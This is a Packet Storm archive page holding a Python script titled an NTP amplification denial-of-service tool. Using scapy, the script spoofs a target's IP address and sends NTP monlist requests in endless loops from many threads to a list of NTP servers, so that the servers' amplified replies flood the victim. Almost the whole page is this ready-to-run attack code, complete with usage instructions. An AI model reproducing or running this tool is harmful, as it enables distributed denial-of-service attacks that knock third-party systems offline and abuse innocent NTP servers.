Lucene search

K
packetstormDaRkReDPACKETSTORM:127492
HistoryJul 16, 2014 - 12:00 a.m.

NTP Amplification Denial Of Service Tool

2014-07-1600:00:00
DaRkReD
packetstormsecurity.com
655

0.966 High

EPSS

Percentile

99.5%

`#!/usr/bin/env python  
from scapy.all import *  
import sys  
import threading  
import time  
#NTP Amp DOS attack  
#by DaRkReD  
#usage ntpdos.py <target ip> <ntpserver list> <number of threads> ex: ntpdos.py 1.2.3.4 file.txt 10  
  
#packet sender  
def deny():  
#Import globals to function  
global ntplist  
global currentserver  
global data  
global target  
ntpserver = ntplist[currentserver] #Get new server  
currentserver = currentserver + 1 #Increment for next   
packet = IP(dst=ntpserver,src=target)/UDP(sport=48947,dport=123)/Raw(load=data) #BUILD IT  
send(packet,loop=1) #SEND IT  
  
#So I dont have to have the same stuff twice  
def printhelp():  
print "NTP Amplification DOS Attack"  
print "By DaRkReD"  
print "Usage ntpdos.py <target ip> <ntpserver list> <number of threads>"  
print "ex: ex: ntpdos.py 1.2.3.4 file.txt 10"  
print "NTP serverlist file should contain one IP per line"  
print "MAKE SURE YOUR THREAD COUNT IS LESS THAN OR EQUAL TO YOUR NUMBER OF SERVERS"  
exit(0)  
  
if len(sys.argv) < 4:  
printhelp()  
#Fetch Args  
target = sys.argv[1]  
  
#Help out idiots  
if target in ("help","-h","h","?","--h","--help","/?"):  
printhelp()  
  
ntpserverfile = sys.argv[2]  
numberthreads = int(sys.argv[3])  
#System for accepting bulk input  
ntplist = []  
currentserver = 0  
with open(ntpserverfile) as f:  
ntplist = f.readlines()  
  
#Make sure we dont out of bounds  
if numberthreads > int(len(ntplist)):  
print "Attack Aborted: More threads than servers"  
print "Next time dont create more threads than servers"  
exit(1)  
  
#Magic Packet aka NTP v2 Monlist Packet  
data = "\x17\x00\x03\x2a" + "\x00" * 4  
  
#Hold our threads  
threads = []  
print "Starting to flood: "+ target + " using NTP list: " + ntpserverfile + " With " + str(numberthreads) + " threads"  
print "Use CTRL+C to stop attack"  
  
#Thread spawner  
for n in range(numberthreads):  
thread = threading.Thread(target=deny)  
thread.daemon = True  
thread.start()  
  
threads.append(thread)  
  
#In progress!  
print "Sending..."  
  
#Keep alive so ctrl+c still kills all them threads  
while True:  
time.sleep(1)  
`